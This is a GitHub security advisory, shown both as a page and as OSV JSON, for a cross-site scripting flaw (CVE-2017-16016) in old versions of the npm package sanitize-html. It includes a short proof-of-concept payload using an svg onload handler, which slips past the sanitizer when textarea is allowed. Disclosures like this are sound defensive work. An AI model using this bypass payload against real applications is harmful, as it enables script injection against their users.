GHSA-XC6G-GGRC-QQ4R

Vulnerability from github – Published: 2018-11-09 17:47 – Updated: 2023-09-08 23:04
VLAI?
Summary
Cross-Site Scripting in sanitize-html
Details

Affected versions of sanitize-html are vulnerable to cross-site scripting when allowedTags includes at least one nonTextTag.

Proof of Concept

var sanitizeHtml = require('sanitize-html');

var dirty = '!<textarea>&lt;/textarea&gt;<svg/onload=prompt`xs`&gt;</textarea>!';
var clean = sanitizeHtml(dirty, {
    allowedTags: [ 'textarea' ]
});

console.log(clean);

// !<textarea></textarea><svg/onload=prompt`xs`></textarea>!

Recommendation

Update to version 1.11.4 or later.

Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.11.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "sanitize-html"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.11.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2017-16016"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T22:02:52Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Affected versions of `sanitize-html` are vulnerable to cross-site scripting when allowedTags includes at least one `nonTextTag`.\n\n## Proof of Concept\n\n```js\nvar sanitizeHtml = require(\u0027sanitize-html\u0027);\n\nvar dirty = \u0027!\u003ctextarea\u003e\u0026lt;/textarea\u0026gt;\u003csvg/onload=prompt`xs`\u0026gt;\u003c/textarea\u003e!\u0027;\nvar clean = sanitizeHtml(dirty, {\n    allowedTags: [ \u0027textarea\u0027 ]\n});\n\nconsole.log(clean);\n\n// !\u003ctextarea\u003e\u003c/textarea\u003e\u003csvg/onload=prompt`xs`\u003e\u003c/textarea\u003e!\n```\n\n\n## Recommendation\n\nUpdate to version 1.11.4 or later.",
  "id": "GHSA-xc6g-ggrc-qq4r",
  "modified": "2023-09-08T23:04:54Z",
  "published": "2018-11-09T17:47:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16016"
    },
    {
      "type": "WEB",
      "url": "https://github.com/punkave/sanitize-html/issues/100"
    },
    {
      "type": "WEB",
      "url": "https://github.com/punkave/sanitize-html/commit/5d205a1005ba0df80e21d8c64a15bb3accdb2403"
    },
    {
      "type": "WEB",
      "url": "https://github.com/punkave/sanitize-html/commit/5d205a1005ba0df80e21d8c64a15bb3accdb2403)))"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-xc6g-ggrc-qq4r"
    },
    {
      "type": "WEB",
      "url": "https://npmjs.com/package/sanitize-html#discarding-the-entire-contents-of-a-disallowed-tag"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/154"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Cross-Site Scripting in sanitize-html"
}


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